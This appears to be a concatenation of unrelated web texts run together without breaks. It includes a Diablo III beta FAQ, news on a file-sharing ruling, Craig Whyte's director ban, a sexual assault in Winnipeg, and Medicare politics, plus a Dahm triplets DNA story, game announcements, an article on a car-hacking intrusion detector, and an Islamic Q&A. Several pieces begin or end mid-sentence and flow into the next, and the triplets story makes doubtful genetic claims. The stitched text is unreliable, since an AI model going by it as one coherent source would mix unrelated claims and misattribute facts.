As the Body of Christ, though, we can love and serve and weep and mourn. And we can remind ourselves and our neighbors that this is not the way it is supposed to be. We mourn, but we mourn in the hope of a kingdom where blood is not shed and where bullets never fly.Prepare yourselves—the Necromancer beta test is right around the corner, nephalem!
Invitations to our closed beta test will soon be going out worldwide. If you are invited, we'd love to hear all about your adventures on the forums, watch your live streams, and see screenshots and videos of your experiences as you wield the dark powers of the Necromancer.
Please keep in mind that the Necromancer and other parts of Patch 2.6.0 are still in development. As such, content in the closed beta may change and does not necessarily represent the final version.
For additional information about the closed beta, including how to participate and answers to frequently asked questions, read on below!
How to Participate:
If you're interested in participating in the Necromancer beta test, you’ll want to make sure you've opted-in for beta testing. To opt in, simply visit your Beta Profile Settings page in Account Management, check the Diablo box under Beta Tests I'm Interested In, and then click Update Preferences. In order to be eligible to participate in the closed beta, you must have an active Diablo III license attached to your Blizzard account in good standing (i.e. not suspended or banned).
Please note that opting in to the Necromancer beta test does not guarantee you access (especially since invites to our closed beta will be extremely limited), but it does at least give you a chance at joining the beta test.
How are beta test participants selected from the opt-in pool?
Beta testers are chosen according to their system specifications, in-game activity, and other factors, including an element of luck.
How will I know if I'm selected to participate in the beta?
If you are selected to participate in the Necromancer beta test, you will receive an invite via email. This invitation will always be sent to the email address associated with your Blizzard account.
Will there be any other ways to get into the beta besides opting-in?
In addition to opt-ins, we are also inviting key members of the community on a case-by-case basis. Invites to the Necromancer beta test will be extremely limited, however, and opting in is your best way to get in.
How many players do you plan to invite to the beta test?
The number of players we invite will be based on our testing needs. If we ultimately determine we need more players to participate after the initial testing, we’ll invite more.
What game content will be available in the beta?
Players who participate will have access to all of the Necromancer’s skills and abilities, as well as other Patch 2.6.0 content. In addition, new Legendary and Set items unique to the Necromancer will be added in over time. Our upcoming patch notes will have all the details on what’s included.
How long will the beta test last?
We have not determined an exact date for the end of the beta test. We will notify participants when the beta test is nearing completion.
Will there be an open beta?
In order to ensure focused feedback and a smooth testing experience for beta players, the Necromancer beta test will be invite-only for the duration of the test.
Is there an NDA?
There is no non-disclosure agreement (NDA) for the Necromancer beta test. You are welcome to take screenshots, livestream your play sessions, and record feedback videos. Please keep in mind that the game is still a work in progress, though, and we appreciate your understanding when you encounter bugs, graphical errors, or other issues.
Will Mac users be able to participate in the beta test?
Yes, Mac users will be able to participate in the beta at the same time as Windows users.Last summer, a Boston University graduate student was ordered to pay $670,000 in damages for illegally downloading 30 songs. Yesterday, US District Court Judge Nancy Gertner said that was ludicrous and reduced it to $67,000. Thank God.
Even that reduced number, she wrote in her decision, is "severe, even harsh." She hopes the reduced damages will serve a dual purpose: showing downloaders that illegal file sharing will have significant financial consequences, but also sending a message that the constitution protects ordinary people from excessive punishment just as much as it protects record companies and their copyright claims.
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The Boston Globe points out that this is only the second file-sharing case to reach the federal level; a judge reduced a Minnesota woman's fine from $1.9 million to $54,000 last year.
In their response to yesterday's decision, the buffoons at the RIAA exhibited their usual buffoonery, claiming that Gertner's ruling ignored the "profound economic and artistic harm" to their artists. They plan to contest the decision.
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And while the decision is definitely a small victory for file-sharers everywhere, the downloader in question wasn't too thrilled about his reduced penalty. "It's basically equally unpayable to me," he said. [Boston.com]Brock Turner, My Ex, and Sugarcoating Rape
TW - graphic description of rape/attempted rape, vulgar language
To Brock Allen Turner, to Brock's father, to the rest of the Nice Promising Boys who think and act like you, and to the man I describe in this entry - you deserve to hear what a life severely altered by rape truly feels like. Brock Allen Turner, my name is Laura, and you likely do not know this, but you are my rapist too. Not literally, of course, but it might as well have been you. My story takes place across the country several years ago. Today, I share it with you in the hopes that you will be overwhelmed by stories exactly like it. I hope to
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sample of your saliva. Then, the companies of the DNA testing can decode the DNA by using the person’s saliva and through that find out more about the person’s heritage. They can even go as far as tracking down long-lost family members and relatives. The triplets took the test at home and waited with anticipation for the results. Little did they know that their results would shake and shock their world.
Waiting to find out While taking the test is fairly simple and doesn’t take very long, waiting for the results, on the other hand, seems like forever, at least in the eyes of the person taking the test. The triplets had to wait a couple of weeks until the results came in. In order to be considered identical in theory, the girls would have to have an identical set of DNA. Lisa Guerrero of the Inside Edition was hesitant regarding the results of the home tests and didn’t want to wait to hear the results when they were read live on the show.
What a journey When the identical and beautiful triplets went in to audition for the modeling job at Playboy, they probably never imagined in their wildest dreams that this is where they would be today; and the journey they went through – from being featured in one of the most famous magazine in the world to taking a DNA test on a reality show, only to find out that what they had known their entire life was disproved by science. So how identical are they?
Stunned by genetics It’s no secret that the stunning triplets wanted to become nurses and deal in medicine one day, after all their story is like no other. We guess this is a big part of why they agreed to the test in order to find out what the results were and where they truly come from. The revelation was planned to be a big deal as it was going to be read out loud on live television on a special episode in March 2017.
Pretty and identical When the first round of results came in, they didn’t come as a big surprise for the triplets or for the audience. We can only imagine the pressure everyone was under, especially knowing that the results were going to be read out loud and live. The results proved that the triplets were indeed identical. Not only were they identical, their fingerprints were also almost a 100% match to the point that they could use each other’s fingerprints for different purposes. However, what was coming their way next? They already proved they can trick technology, but now what?
Part two of the test The second part of the test was contained deeper insight into things. It was more than just finding out if they were identical. The second test’s purpose was to go deep into their family’s ancestry in an attempt to find out more about their ethnicities and the countries their ancestors were from. Needless to say that the girls expected the results to be, well, identical as they were in the first round. Just like any things in life, things didn’t go quite as planned on the live show.
A small difference According to the results of the second part of the test, the triplets were almost 100% European. So far it meant that they were identical in terms of their ethnicity. However, when their DNA results were broken down and looked at more deeply, it was found that Erica was 16% British and Irish, while Nicole was more Irish and British by 2%. Everyone was confused by the results, the audience, the doctors on the panel and the identical sisters of course. How does it even make sense?
A big difference When they began to receive their results, it showed even more differences between the triplets and their origins. The 23andMe test they took showed that all of the triplets had a German and French heritage, but each had a different percentage. Nicole and Jacklyn hand 11% and 18% respectively, while Erica had 22.3% of that ancestry. How can that be that three sisters, with the same DNA, have such varying results. The strange results confused both the girls and the doctors.
More discrepancy revealed When the triplets began taking the Scandinavian part of the DNA test, the difference was even bigger. The experts were stunned when they found out that Erica and Jacklyn had the same percentage (7.4%), while Nicole had a different one. It was discovered that Nicole had a 11.4% Scandinavian percentage, which was more than her sisters. everyone started to wonder how this could be possible, as they were all surprised by the difference.
Our DNA is same The triplets could not hide their reaction when they found out about the results. Nicole said that she was shocked at their discovery. She added that after all they came from the same egg, and should have the same DNA. Dr. Travis Stork, the host of the show “The Doctors”, pointed out that the first test had proved a point, and had a few things to say about these kinds of tests. Stork said that the general public should know that these home tests are not to be used as real evidence for exploring your heritage, and should be used for “entertainment” only.
Not entirely accurate Dr. Stork added that these tests that you send in the mail are not even close to a 100% accurate. Stork also said that while science did make progress in the field of genetic testing, you can’t just “spit in a cup” and have all the answers laid down in front of you within the minute. Together with Lisa Guerrero, who says that she’s already unsure of these home kits accuracy, does this means that both the doctor and the journalist disapprove?
Exploring her ancestry Lisa Guerrero said that although she’s still has questions about these genetic tests reliability, she would be interested in taking one herself in the future. She added that she knew that her mother is from Latin origin and her father is English, but still wanted to know about the percentage of that. The journalist also said that it made her curious and although they are not advanced, they do give you a small glimpse about ancestry, genetics and DNA.
Thinking about tests The journalist said that although she wanted to perform this kind of test, she would probably go for a more “serious” test. She also added that these test are more expensive, but they are extremely advanced, and could give a greater amount of detail. Lisa and Dr. Stork said that they understand why those DNA tests are so popular today. After all, every human being on this earth would like to know who he is and where he originally came from.
A growing awareness The Dahm triplets never anticipated that those results will be such a shock to them. However, they are happy that their DNA tests started a growing awareness about those tests. Coming from a small town like Jordan, the three sisters’ lives drastically changed since the airing of the show. They were in Playboy for a short time, and also appeared again on The doctors couch. Where are the Dahm triplets and what they are doing now?
Still the same The Dahm sisters remained just as beautiful (and identical) as they were before. The triplets gave birth to their daughters a few years back, within weeks of each other. Afterwards, the sisters gave birth to sons, also around the same time. Eventually, it turned out that all three of them are married, each with one son and one daughter. Like always, the triplets do everything together in the end they are identical, both in looks and personality.
Rocky marriage Unfortunately, living a public life like this could cause issues and incite hurtful rumors. Triplet Erica and her husband Jay McGraw marriage is constantly exposed to the public eye. They are fighting rumors about an impending divorce, and so is Jay’s father (Dr. Phil) and his wife. Apparently, no one can escape this downside of fame as the press will always be on the lookout.
A wedding to remember Erica and her husband Jay were wed on August 2006, and had a beautiful and emotional ceremony. It was held in Beverly Hills, at the property of Dr. Phil and his wife Robin. 400 guests attended this intimate ceremony, where Erica and Jay wrote their personal vows to each other. Jay’s mother, Robin, said that their special day was even more emotional when she saw her husband crying throughout the whole ceremony.
The important question On a Dr. Phil episode, Jay gave all the juicy details about the day he popped the question to Erica. McGraw said that it happened during a trip to Dallas, Texas. There, he got down on one knee and asked her to spend the rest of her life with him. He reportedly presented her with a ring that was a five-carat platinum gem complete with diamonds and two green emeralds. So romantic!
Beautiful bridesmaids Erica’s sister were all bridesmaids, which made her wedding day even more special than usual. Her identical, stunning bridesmaids and sisters had worn beautiful dresses that were designed by Bradley Bayou. Erica herself wore a specially designed gown, made by Chado Ralph Rucci. During her and Jay’s wedding, everyone in the audience said that watching the Dahm triplets dressed so equally and identically beautiful was a sight to remember.
Their offspring As were mentioned before, Erica gave birth to one daughter and one son; the same as her sisters. Jay and Erica’s daughter, Aver Elizabeth, was born not long after they got married. Their son, London Phillip, was born a year later in 2011. Both of them are extremely adorable, and their pictures are all over their parents’ social media and internet pages. Despite all the rumors around them, Jay and Erica seem still seem in love just like before.
Jay and his father From the beginning of their relationship, Dr. Phil (Jay McGraw’s father) was always involved in what was going on. It was said that when Phil found out from Jay that he’s planning on popping the question, he was thrilled for the couple. Dr. Phil served as Jay’s best man on their wedding day, as they have a very special bond between them. Jay was happy to say on his father’s show that his parents love Erica as much as he does.
Jaclyn’s family However, not everything is about Jay McGraw and Erica. Erica’s sister Jaclyn had also won a man of her own, upon her marriage to the handsome Billy Dolan, who is most definitely the man of her dreams. Like Erica and her husband, Jaclyn does not miss an opportunity to show her stunning family on the internet and social media. The entire family goes n vacations frequently together where they hang by the beach or go to a concert.
Opportunity of a lifetime After everything that’s happened, the Dahm triplets still can’t grasp how much their lives have changed since the Playboy test shoot. Upon realizing all the opportunities they received, the sisters are very grateful for the luck they have experienced. When thinking about their early days as teenagers in Jordan, Minnesota, the sisters said that they could not imagine such a scenario; coming from a small town to suddenly being in a magazine that is published all around the world.
Dahm triplets on TV The triplets always received a great reception from the audience in everything they touched since the first time they were featured on Playboy. They were on reality TV, their most recent appearance was on a Canadian TV show called Relic Hunter, which is about someone who tries to return important artifacts to museums. All three sisters said in various occasions that they would love to make a comeback feature in Playboy someday.KOEI TECMO has announced Attack on Titan 2 (AoT 2 in Europe) will have a worldwide release on the Sony PlayStation 4, Nintendo Switch, and Windows PC via Steam in March of 2018. Japan will also receive a PS Vita version, while America and Europe will get an Xbox One version in addition to the other platforms. Attack on Titan 2 is a direct sequel to the 2016 game, Attack on Titan (AoT: Wings of Freedom in Europe). The game will feature events from the anime’s season 2 along with action gameplay and character creation!
In addition to playing as your own created character, players will be able to wield the power of characters from the anime. This includes Eren Jaeger, Mikasa Ackerman, Armin Arlert, Levi, Miche Zacharias, Nanaba, Gelgar, Ymir and Christa Lenz
Attack on Titan 2 will feature enhanced Titan movements and attacks, requiring more precise maneuvers from players. Additionally, it introduces the Monocular; allowing scouts better analyzation based on pinpointing Titan positions from afar and attack strategy utilizing their Omni-Directional Mobility Gear.
Outside of their excursions, players can also deepen their relationships with fellow comrades by training and preparing for battle with the new and improved Town Life gameplay. Strengthening relationships is an important element of ATTACK ON TITAN 2, providing a greater insight into the series’ cast in a way that has yet to be experienced.
Update: Take a look at over 30 minutes of gameplay from the Attack on Titan 2 game below. It includes opening cutscenes, a display of creating your own character, gameplay with that created character, and footage from season of the anime in video game form.President Donald Trump thinks the Civil War could have been prevented under different leadership.
If President Andrew Jackson had still been in power, the war wouldn’t have even happened, Trump told the Washington Examiner’s Salena Zito last week. She shared the audio from her interview on SiriusXM P.O.T.U.S.’s “Main Street Meets the Beltway” on Monday.
“I mean, had Andrew Jackson been a little bit later, you wouldn’t have had the Civil War,” Trump said. “He was a very tough person, but he had a big heart. He was really angry that he saw what was happening, with regard to the Civil War, he said, ‘There’s no reason for this.’”
“Why could that one not have been worked out?” Trump asked.
Trump may have been awkwardly alluding to the nullification crisis of the 1830s, while Jackson was president. At that time, South Carolina declared that individual states had the right to reject federal laws they believed to be contrary to their own interests.
Many historians view the standoff as a precursor to the disputes over slavery and federal authority that came to a head during the Civil War. President Abraham Lincoln invoked Jackson’s efforts against rebellious South Carolinians (who tried to raise an army against him) as precedent for some of his own actions during the war.
Jackson, who died 16 years before the Civil War started, was also an unrepentant slave owner ― so it’s not clear how he would have viewed a secession crisis sparked by the outright abolition of slavery.
Trump has frequently compared himself to Jackson and appears to be fascinated with the seventh president.
“My campaign and win was most like Andrew Jackson, with his campaign,” Trump said. “And I said, when was Andrew Jackson? It was 1828. That’s a long time ago.”
Trump chose to hang a portrait of Jackson to the left of his desk in the Oval Office because “his campaign and my campaign tended to mirror each other,” he told CBS News in an interview that aired on Monday.
He also visited Jackson’s grave in Nashville last month, angering members of the Cherokee Nation whose ancestors were forcibly displaced and disenfranchised by Jackson’s policies, including the infamous “Trail of Tears” in which thousands died.
During his visit, Trump told the crowd: “It was during the revolution that Jackson first confronted and defied an arrogant elite. Does that sound familiar?”A judge who banned former Rangers owner Craig Whyte from being a company director for 15 years said his conduct of the business was "characterised by dishonesty".
Lord Tyre gave a decision to impose the maximum ban on Whyte from the bench earlier in the week at the Court of Session in Edinburgh after Business Secretary Vince Cable brought a petition. His written opinion was issued today.
Whyte, 43, became a director at Rangers in 2011 but it went into administration the following year before being wound up.
Lord Tyre said: "Immediately upon his appointment as a director or Rangers the respondent (Whyte) caused Rangers to enter into the Ticketus agreement, for the sole or main purpose of facilitating his acquisition of Rangers by providing finance which was lent by Rangers to Wavetower, which in turn used it to repay Rangers' external debt, notably to Lloyds Banking Group."
"In effect, a significant proportion to Rangers' prospective income for the next three years was used to pay the bank and thus to fund the respondent's acquisition of the club."
"On the basis of the material placed before me, it seems to me that there is a strongly arguable case that this amounted to financial assistance prohibited by section 678 of the Companies Act 2006, and accordingly constituted an offence," said the judge.
Lord Tyre added: "In any event I am satisfied that the Ticketus agreement was entered into by Rangers, under the direction of the respondent, for the benefit of the respondent and not the company, and accordingly constituted a deliberate breach of his fiduciary duty as a director."
"The fact that this was done, knowingly, in breach of the express terms of the share purchase agreement enhances the reprehensible nature of the respondent's actings," he said.
It was argued that Whyte deliberately and dishonestly concealed the Ticketus deal, under which it got the right to sell three years season tickets for £24m, from other board members until its existence was found out by the company's financial controller from an independent source.
Lord Tyre said: "I am satisfied on the evidence that the allegation of dishonesty is established."
Whyte had told the independent board committee at Rangers that funding of the deal would come from him and an email was sent indicating that a British Vigin Island company owned by him, Liberty Capital, was a source of funding, the court was told.
He said Whyte held no board meetings and provided no information to other directors over the company's financial affairs, making it impossible for them to carry out their own duties as directors.
It was also alleged that there was a failure by Whyte to exercise rights, granted by Wavetower to Rangers at the time of the share purchase, to receive payment on demand of sums to meet playing squad costs and a sum due to HM Revenue and Customs, dubbed the Small Tax Case.
Lord Tyre said: "In connection with this aspect there is again an element of dishonesty on the part of the respondent, in that a letter sent on his behalf in January 2012 contained certain untrue statements concerning funds available to Rangers."
A further issue was the failure of Rangers under Whyte's ownership to meet its obligations to HMRC over PAYE, national insurance and VAT.
Lord Tyre said: "Acting to the exclusion of other directors, the respondent caused Rangers to stop making payment when due in respect of these liabilities from September 7 2011."
The commercial court judge: "By February 2012, when HMRC presented its petition for an administration order, a sum of around £10.5m had accrued in respect of unpaid tax and unapplied interest."
"Through his actings at the time of and after acquisition of Rangers, the respondent demonstrated a reckless disregard for the interests of the company to which he owed fiduciary duties," he said.
"His conduct of the business was characterised by dishonesty, in relation to disclosure of the true source of the funds used to purchase the company and repay the bank debt, and by wilful disregard for his duties to the company and to the other members of the board," said the judge.
He said that in acquiring Rangers and a subsequent sale of shares in Arsenal "he placed his own interests before those of the company".
"He knowingly permitted the company to trade using money owed to HMRC, " said Lord Tyre.
The judge said that Whyte has had also shown "a wilful disregard" for the duties of a director over record keeping and co-operation with the liquidator of a second company Tixway.
Lord Tyre said that little was known about Tixway, which went into liquidation in 2012, where Whyte was appointed as a director in 2008 following the ending of a previous seven-year ban as a director.
"It is clear from Tixway's bank statements that the company held funds. Entries in those statements strongly suggest that some of those funds were applied to meet personal expenditure of the respondent," he said "Tixway is estimated to have a deficiency of liabilities over assets of around £3m. In the absence of adequate records it is impossible to know how this deficit accumulated," he said.
Payments from a bank account included £395,991 to American Express and £414 to a butcher in Grantown on Spey, in Morayshire.
Lord Tyre said: "In my assessment, the conduct of the respondent in the present case consists of a combination of dishonesty, disregard for the interests of companies to which he owed duties and of the creditors of those companies, use of Crown debts to finance trade, misappropriation of company funds (at least in the case of Tixway) for private purposes, and wilful breach of a director's administrative duties, the effect of all of which is that the case can be regarded as quite out of the ordinary."
Whyte, formerly of Castle Grant, Grantown on Spey, and RueDe Tenao, Monaco, was not represented at the hearing where he was banned. An amendment to the court document was granted to state that his current place of residence is unknown.House Democratic strategists make no secret of their belief that Medicare amounts to their political silver bullet in 2012.
President Barack Obama walks away from the podium after making a statement in the Rose Garden of the White House in Washington, Monday, Sept. 19, 2011. (AP Photo/Susan Walsh)
And so, it was not by accident that when President Obama addressed the need to reform the entitlement programs in the country in a speech today that he was very careful in the words he used to describe what should happen to Medicare.
After discussing his proposed changes — eliminating waste, making prescriptions more affordable etc — to the program, Obama made sure to draw a distinction between his plan and what Republicans would do.
“I’m not going to allow that to be an excuse for turning Medicare into a voucher program that leaves seniors at the mercy of the insurance industry,” he said, adding: “We will reform Medicare and Medicaid, but we will not abandon the fundamental commitment that this country has kept for generations.”
And that, Democrats hope, is the sort of distinction that voters can understand and that will keep the issue alive for them heading into 2012.
“I think that as long as we control the debate on ‘reforming’ Medicare, and have the contrast on the Ryan Plan and its desire to turn the plan into a voucher program Democrats will still have the upper hand on the issue,” said Democratic pollster John Anzalone. “I think the trump card for Democrats is that these congressional Republicans cast a vote for the Ryan Plan. You can’t take that back.”
The danger, of course, is that independents — the unaffiliated voters who have swung wildly between the two parties in the last four years — tend to be low-information voters, meaning that any changes to Medicare supported by the Obama Administration could allow some significant muddying of the waters by Republicans.
Republicans tried a test run of that strategic approach in a Nevada special election last week.
Democrat Kate Marshall attacked Republican Mark Amodei over the Ryan plan but rather than let that hit stand — as they did in a New York special election loss earlier this year — the GOP hit back with a two-pronged strategy: 1) An Amodei ad featuring his mother as a testimonial to his commitment to the program and 2) an attack on the cuts in Medicare as proposed in President Obama’s health care law. (Here’s a terrific Wall Street Journal piece laying out the stakes of the race regarding Medicare.)
That Amodei won — and won convincingly — affirmed for Republican strategists that the waters could be muddied on Medicare in a way that made the issue something short of a sure loser for their side. Democratic strategists insisted, naturally, that it proved no such thing and promised to keep up the attacks on Medicare.
The question is whether Obama’s pledge in his speech today to “reform” Medicare will be a distinction without a difference to voters — or whether they will be able to distinguish between what Democrats want to do with the program and what Republican would do if given total control in Washington.
Democrats hoping to win back the House have to hope the latter theory is the one that wins out.
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No more Saturday mail in Obama deficit planWinnipeg police are looking for a man who assaulted a babysitter during a home invasion in the city on Friday.
The attack happened in a home in the 400 block of Keenleyside Street in East Elmwood. The 18-year-old babysitter finished putting two young children to sleep around 10 p.m. and when she came downstairs, there was a man in the home.
Police say the man, who was not known to the woman, knocked her unconscious by assaulting her before sexually assaulting her.
He stole her purse and some electronic devices and left, police say.
The young woman was taken to hospital, and is in stable condition.
The suspect is described as 25 to 30 years old, approximately five feet seven inches tall with an average build. He was wearing a black toque and navy sweater at the time of the assault. Anyone with information about his identity is asked to call police at 204-986-6245 or Crime Stoppers at 204-786-TIPS (8477).When you think back on George W. Bush’s presidency, “humanitarian” is probably not the first word that comes to mind. After all, the man was the cause of hundreds of thousands of deaths, including almost 5,000 American troops. His failure to pay attention to his daily briefs and other intel quite possibly allowed 9/11 to happen. The treatment of prisoners at Guantanamo and other sites was anything but humanitarian. His approval rating as he left office was the lowest of any sitting president at 25 percent.
Nevertheless, officials at the University of Denver decided that Bush deserved a humanitarian award for “improving the human condition.” Your reaction was pretty much the same as a substantial group of students, faculty and alumni of the University of Denver’s Josef Korbel School of International Studies. They spoke out in an online petition:
“Former President George W. Bush left behind a legacy of human rights abuses, including the torture of detainees in extraterritorial jails, preemptive war, domestic surveillance programs and other egregious actions that deleteriously impact the human condition. As students, alumni, faculty, and supporters of the Josef Korbel School and the University of Denver, we urge you to choose an alternative recipient of the 2013 ‘Improving the Human Condition Award’ who better represents a humanitarian spirit, a commitment to human rights and human dignity, and whose contributions and leadership have truly resulted in positive change.”
The petition has been signed by over 1,100 students and alumni since June 23rd. In addition, 20 faculty members circulated a letter to officials at the university. It stated, in part, that they were “shocked, disappointed and embarrassed” that the school would present such an honor to Bush.
The university still plans on giving Bush an award at the annual fundraiser on September 9th, but it will be called something else. Though officials are unsure of exactly what it will be called, they are still hoping that Bush’s appearance at the annual dinner will raise funds for the school.
Though his other legacies are extremely negative, Bush’s aid for Africa has been praised even by his detractors. His work to prevent AIDS and malaria, even though it had some controversy about some qualifications, has made a big impact on that continent. During his presidency, about 2 million Africans were receiving anti-retroviral drugs. An additional $1.2 million went to fight malaria. Even if you don’t like him (and I sure don’t), the aid he sent to Africa even brought praise from Bono, who spoke at the dedication of the G.W. Bush Presidential Library:
“I know that’s hard for you to accept,” Bono said to a surprised crowd and host, “but George kind of knocked it out of the park. I can tell you, and I’m actually here to tell you that America now has 5 million people being kept alive by these drugs. That’s something that everyone should know.”
Is that enough to override his other legacies? Not in my opinion and definitely not in the opinion of students and faculty at the U of Denver. Maybe renaming the award is just semantics but the word “humanitarian” is not one to be thrown around lightly… and certainly not in George W. Bush’s direction. I applaud the UoD for being amenable to the change. The Chancellor’s Award or The Presidential Award is a lot less controversial. It’s good to see some authorities bowing to the people’s demands, for a change.Guilty Gear Xrd: Rev 2 for PC launches June 1, online lobbies detailed
Watch the 11-minute Japanese overview trailer.
The PC version of Guilty Gear Xrd: Rev 2 will launch on June 1, Arc System Works announced.
The fighting game will be released as a paid upgrade pack for Guilty Gear Xrd: Revelator for $19.99 / 2,000 yen. It can also be purchased with Guilty Gear Xrd: Revelator in a bundle for 4,800 yen.
The PlayStation 4 and PlayStation 3 versions of Guilty Gear Xrd: Rev 2 were previously dated for May 25 in Japan, and May 26 in North America and Europe. It will be available as a standalone physical and digital release on PlayStation 4, and as a $19.99 digital upgrade for Guilty Gear Xrd: Revelator for PlayStation 4 and PlayStation 3.
Arc System Works also shared more information about the game’s online lobbies:
In the online lobbies of Guilty Gear Xrd: Rev 2, while maintaining things such as “Cross-Platform Battles” and “Ranked Match Standby” that were well-received in the previous game, you can now select “Lobby,” “Ranked Match,” and “Player Match” from the main menu screen. Additionally, since the support feature for finding an opponent with the same skill level is also prepared, even beginners can compete. Three-Wins Cabinets Standard lobby battles are a single match, but at the “Special” cabinets in the center of the lobby, you can fight until one player wins three games. Simple Chats Pressing the Triangle button in the lobby will display fixed sentences. By selecting these options, your avatar will display various emotions, such as bowing, while speaking. In this way, you can easily enjoy communicating even without a keyboard. Network Colors The colored arrow displayed next to a player’s online ID is a rough estimate of their strength. Players with an up arrow are stronger than yourself, while players with a down arrow are weaker. Beginner Lobby Restricted Admission Lobbies with a yellow / green down arrow marker do not admit strong players in order to allow beginners to play online with peace of mind. Treasure Chests By opening treasure chests placed in the lobby, just like fishing, you can acquire various content to enjoy the game even more. Treasure boxes can be found once a day.
Watch a new trailer below. View a set of screenshots at the gallery.Car-hacking demonstrations tend to get all the glory in the security research community—remotely paralyzing a Jeep on the highway or cutting a Corvette's brakes through its Internet-connected insurance dongle. But as the nascent automotive security field evolves, defensive tricks are getting cleverer, too. Now there's a new prototype gadget that stops those vehicular attacks with an ingenious hack of its own.
In a paper they plan to present at the Usenix security conference next month, University of Michigan researchers Kyong-Tak Cho and Kang Shin describe an easy-to-assemble tool they call the Clock-based Intrusion Detection System, or CIDS. It's designed to spot the malicious messages car hackers use to take control of vehicle components like brakes and transmission. The CIDS prototype uses a new technique to spot attack messages: It records the communications on a car's internal network known as a CAN bus and—in just seconds—creates "fingerprints" for every digital component of a vehicle, the so-called Electronic Control Units or ECUs that allow everything from brakes to windshield wipers to communicate.
To perform that fingerprinting, they use a weird characteristic of all computers: tiny timing errors known as "clock skew." Taking advantage of the fact that those errors are different in every computer—including every computer inside a car—the researchers were able to assign a fingerprint to each ECU based on its specific clock skew. The CIDS' device then uses those fingerprints to differentiate between the ECUs, and to spot when one ECU impersonates another, like when a hacker corrupts the vehicle's radio system to spoof messages that are meant to come from a brake pedal or steering system.
That sort of impersonation is key to how white hat hackers previously managed to remotely mess with vehicles' brakes, transmission and steering systems.
Kang Shin
The Clock Skew Method
No one has ever used clock skew to fingerprint car computer components before, but the fundamental idea isn't entirely new. Security researchers have proposed using clock skew identification on other kinds of computers for more than a decade. The trick exploits the fact that the oscillating crystals computers use to track time have minute differences based on manufacturing defects and temperature. Over time, that means a computer's clock can "drift" if it's not constantly reset against a more accurate clock via the internet—and since cars' ECU clocks are designed to allow signals to be sent at certain frequencies rather than certain times of day, their clocks tend to drift without ever being corrected.
"Since each clock drifts, based on the message arrival, I can tell whether it’s sent by [the car's legitimate ECU] or someone else," says Kang Shin, the University of Michigan professor who created CIDS along with graduate researcher Kyong Tak. "We can fingerprint it based on timing, according to that clock."
By monitoring both that drift and the variance in the clocks' skew over short periods of time, the researchers' CIDS prototype, which connects to a car's network via the OBD-2 port under the dashboard, fingerprinted dozens of ECUs. They tested simulated attacks on a Honda Accord, a Toyota Camry, and a Dodge Ram, and found that it was able to detect spoofed messages in each case. When it spots one of those spoofed messages, it can be programmed to either alert the driver or put the car into a "limp" mode that allows the driver to safely bring the car to a stop. And the defense technique would be tough for even a very motivated car hacker to defeat, they say—at least, not without an infected ECU that precisely replicates the temperature of the component it's impersonating.
That means clock skew might be an effective new way to verify which component is sending messages on a CAN network, a security measure that doesn't exist at all in most modern vehicles. "For the CAN networks you and I might have in our cars, there’s no authentication," says Tadayoshi Kohno, a University of Washington computer security professor who both invented clock-skew fingerprinting techniques in 2005 and reviewed the Michigan researchers' paper for Usenix. "This is way to add it in after the fact."
Focusing on Defense
The Michigan researchers' gadget is just a proof of concept. They don't plan to build a consumer product, and they're not yet releasing their code. Instead, they published a detailed paper on the technique. The prototype was built with just an Arduino Uno board, a Seeed Studio CAN-BUS shield, and some wiring, hardware that cost a total of around $50. They're hoping to spur carmakers into integrating CIDS technology in vehicles.
"I hope this motivates people to focus more on attack detection rather than just performing attacks," says Kang of the security research community. "There are a lot more defenses we can make for vehicle safety and security."
The CIDS device isn't the only gadget to defend against car attacks, though. In 2014, hackers Charlie Miller and Chris Valasek—whose Jeep hack later triggered a 1.4 million vehicle recall—built their own, much simpler vehicle intrusion detection device. That gadget detects abnormal messages that appear to come from the same source as legitimate ones at the same time, a sign that the network is compromised. "You can build more complicated [intrusion detection] algorithms, but why?" Miller writes to WIRED. "Our super simple one detects every known attack."
But the University of Washington's Kohno, who helped develop one of the first car hacking exploits in 2010, says that it's still too early in the car hacking cat-and-mouse game to depend on any single method. He argues that the CIDS technique could eventually find more sophisticated attacks that have yet to surface. For a field like automotive security where lives are at stake, he says, any innovative defense technique is welcome. "One thing we know is that attacks always get better," says Kohno. "Putting up defenses before the attacks appear is the forward looking approach, rather than wait for the damage to be done. We can’t undo that damage."Question:
What does a person who wants to seek knowledge do if he is not able to reach the people of knowledge? Do they suffice with taking knowledge from books, and what is the methodology of doing so in this case?
The Shaykh repeated the question and asked:
Is the person an Arabic speaker or a non Arabic speaker?
The questioner responds that he is as Arabic speaker.
The Shaykh answers:
As for seeking knowledge, the origin is that the Muslim travels to the scholars to gain knowledge from them if he does not have a scholar in his locality. What is befitting for him is to travel to the scholars if he is able. All praise is for Allah (Aza wa Jel), during our present time means of communicating with the scholars have become widespread. (It has become easy for us to communicate with) the scholars who are upon the straight methodology and safe aqeedah, but we will lay (mention) some easy affairs for the one seeking knowledge in our present time so that a person can seek knowledge while he is in the confines of his home.
This is done in the following ways:
1. If he is able to call a scholar (one upon the Sunnah) if he has the financial means, him and a group of his friends can attend a class with the scholar. This is a means of seeking knowledge.
2. Another way which is also easy it that an individual for example travels to Saudi Arabia for Hajj or Umrah and during his visit, he buys tapes of the people of knowledge that are well known for their correct beliefs and methodology. (A person) can also request someone else who is traveling to buy these tapes for them. Thereafter the individual listens to these audio recordings, he listens to the speech of the people of knowledge. It is, by the permission of Allah, as if he is in front of the scholar.
3. If an individual is able to be consistent with
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modules for movement, various for memory, etc. These like the blades on a swiss army knife except for three things:
they are not localized in particular areas of the brain, they interact, and some are ‘more than mere tools’ in that they will coordinate and organize other modules and make decisions.
In the third lecture, Prof. Wright talks with Douglas T. Kenrick, Ph.D. (psychology today, ASU homepage), coauthor of “The Rational Animal: How Evolution Made Us Smarter Than We Think.” Kenrick comes up with seven key modules each with lower levels modules (giving the example of cabinet-members, with no president at the top). Further experimentation shows that manipulating which module is in control – in an admittedly crude experiment, showing a romantic vs scary movie to people – they could manipulate what ‘tagline’ people would prefer for a product advertisement.
This is common sense, right?
But it does help underscore the fact that there is no concrete ‘you’ that is going to like the same tagline, or whatever else, all of the time, which, I suppose, was a revelation to psychologists. And Prof. Wright doesn’t think ‘mood’ is an appropriate term to describe what is happening in all of the experiments, which is fair enough. This term may be too ‘folky’ – and his interview with Leda Cosmides on topics such as anger and jealousy help put emotions from the modular typology in the context of evolutionary psychology. The interview with Leda ends, most interestingly with Prof. Wright’s remark that in these cases, and likely others, “you don’t choose the module, do you? The module chooses you almost, you know?”
And Prof. Cosmides remarks, “Right, but what is the ‘you’, anyway?”
And…
Buddha had it right all along.
Or did he? We’ll find out more in week five.
~
